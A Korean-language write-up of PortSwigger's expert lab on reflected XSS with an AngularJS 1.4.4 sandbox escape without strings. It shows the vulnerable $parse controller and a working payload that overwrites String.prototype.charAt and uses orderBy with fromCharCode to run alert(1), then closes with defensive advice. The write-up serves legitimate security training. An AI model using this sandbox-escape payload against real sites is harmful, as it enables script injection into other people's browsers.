[Write-Up] PortSwigger - Reflected XSS With AngularJS Sandbox Escape Without Strings

목차


문제 분석

난이도: EXPERT
Lab: Reflected XSS with AngularJS sandbox escape without strings

image.png

애플리케이션은 AngularJS를 비정상적인 방식으로 사용하며, 주입할 표현식에서 문자열 리터럴과 $eval을 사용할 수 없다. AngularJS 1.4.4의 샌드박스를 우회해 alert()를 호출하면 문제가 해결된다.

XSS 진단

검색 요청의 파라미터는 다음과 같은 스크립트로 변환된다.

<script>
angular.module('labApp', []).controller('vulnCtrl', function($scope, $parse) {
    $scope.query = {};
    var key = 'search';
    $scope.query[key] = 'xss';
    $scope.value = $parse(key)($scope.query);
});
</script>
<h1 ng-controller="vulnCtrl">0 search results for {{value}}</h1>

/?search=xss&foo=bar처럼 파라미터를 추가하면 foo도 새로운 key로 등록되고 $parse(key)에 전달된다. 즉 파라미터 이름을 AngularJS 표현식으로 제어할 수 있다. 다만 따옴표는 JavaScript 문자열에 안전하게 처리되므로 표현식에서 문자열을 직접 작성할 수 없다.


익스플로잇

AngularJS 1.4.4에서 동작하는 다음 표현식을 새로운 파라미터 이름으로 추가한다.

toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

첫 번째 구문은 toString()의 결과에서 String 생성자에 접근한 뒤 모든 문자열이 공유하는 String.prototype.charAtArray.prototype.join으로 덮어쓴다.

toString().constructor.prototype.charAt=[].join

AngularJS 샌드박스가 표현식을 검사할 때 사용하는 문자열 처리 동작이 바뀌면서 기존 안전성 검사가 무력화된다.

두 번째 구문은 [1] 배열을 orderBy 필터에 전달하고 String.fromCharCode()로 따옴표 없이 공격 문자열을 만든다.

[1]|orderBy:toString().constructor.fromCharCode(
    120,61,97,108,101,114,116,40,49,41
)=1

문자 코드를 변환한 결과는 x=alert(1)이다. orderBy가 이 문자열을 정렬 표현식으로 파싱하면서 대입식과 alert()가 실행된다.

페이로드를 URL 인코딩해 search=1 뒤에 새로운 파라미터로 전달한다.

image.png

AngularJS 샌드박스 검사를 우회한 표현식이 실행되어 문제가 해결된다.

image.png


정리

이 랩은 문자열 리터럴과 $eval을 차단해도 프레임워크 내부의 표현식 가젯을 조합하면 코드 실행으로 이어질 수 있음을 보여준다. 오래된 AngularJS 샌드박스는 보안 경계로 사용할 수 없으며, 사용자 입력을 $parse 같은 표현식 파서에 전달하지 않는 것이 중요하다.